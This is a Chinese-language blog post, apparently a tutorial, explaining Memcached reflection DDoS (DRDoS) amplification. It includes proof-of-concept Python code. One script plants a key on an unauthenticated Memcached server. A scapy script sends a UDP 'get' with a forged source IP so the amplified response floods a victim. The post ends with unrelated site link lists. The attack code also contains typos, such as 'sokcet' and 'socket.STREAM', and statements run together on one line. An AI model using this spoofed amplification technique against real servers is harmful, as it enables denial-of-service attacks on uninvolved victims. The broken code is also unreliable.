一、Memcached反射攻击原理

1、反射DRDoS攻击:

DRDoS攻击时DoS攻击的一种,DoS是指通过发送或引发大量的资源消耗导致服务不可用的一种攻击方式,中文称之为拒绝服务攻击。DRDoS是反射性拒绝服务攻击,其原理是通过利用你的程序漏洞,发送畸形报文诱发你回复大数据量的报文,从而达到消耗资源,拒绝服务的目的。

2、为什么Memcached可以诱发DRDoS:

因为Memcached是一个缓存服务器,很多web站点用来存储缓存数据,以防止WEB服务器承担更多性能损耗。但是这样情况下,如果发送一个请求,回复大数据量的响应报文,则可以被诱发DRDoS,攻击手段就是重复变换源的发送请求报文即可。

3、以上还有两个前提:

(1)Memcached支持TCP和UDP,且其中UDP是不需要状态连接,和握手的。

(2)Memcached存在未授权访问的情况。

二、Memcached DRDoS的poc

1、攻击手法,

(1)访问可以控制的未授权的memcached,set设置键值

 set abc
abc ->键名
-> flag
-> exptime 过期时间,0便是永不过期
-> 返回10Byte的数据,当然可以返回更多

python代码如下

 # -*- coding:utf-8 -*-

 import socket

 target_host = "192.168.1.1"
target_port = 11211
client = sokcet.socket(socket.AF_INET,socket.STREAM)
client.settimeout(10)
client.connect((target_host,target_port)) client.send("set abcd 0 0 10\r\nabcd\r\n\r\n\r\n\r\n\r\n")
data = client.recv(1024)
print data

(2)然后get这个abc即可

 # -*- coding:utf-8 -*-

 from scapy.all import *

 data = "\x00\x00\x00\x00\x00\x01\x00\x00get abcd\r\n"
pkt = scapy.all.IP(dst="192.168.1.1",src="192.168.1.2") / scapy.all.UDP(sport=80,dport=11211) / data
send(pkt ,inter=1,count=1)

最新文章

  1. Rafy 领域实体框架演示(3) - 快速使用 C/S 架构部署
  2. [Linux] - Docker移动数据到其它盘的办法
  3. JNI输出log信息
  4. IE自动跳转到标准模式
  5. C#之Textbox实现自动提示容、自动补齐内容
  6. DB2数据库管理最佳实践(1)
  7. mysql 存储结构
  8. Motion on Ubuntu
  9. 程序启动原理和UIApplication
  10. Mysql创建函数出错
  11. JS 寻找孩子并打印路径
  12. stylus选中hover元素的兄弟元素下的子元素
  13. jsonArray与 jsonObject区别与js取值
  14. 豆瓣top250(go版以及python版)
  15. JavaScript判断各种数据类型
  16. JAVA高并发系列
  17. zoj 2722 Head-to-Head Match(数学思维)
  18. 【贪心】Google Code Jam Round 1A 2018 Waffle Choppers
  19. undo表空间居高不下和enq: US - contention
  20. 如何修改 linux ubuntu 默认语言

热门文章

  1. 我的mac的其他满了,发现是一个叫core的文件
  2. drupal 网址合集
  3. drupal 使用步骤
  4. Python写自己主动化之邮件发送(匿名)
  5. mysql的navicat执行存储过程
  6. Hibernate中createCriteria即QBC查询的详细用法
  7. gpio irq
  8. qlineedit控件获得焦点
  9. erlang的小知识,未分类。
  10. 远程连接mysql数据库提示:ERROR 1130的解决办法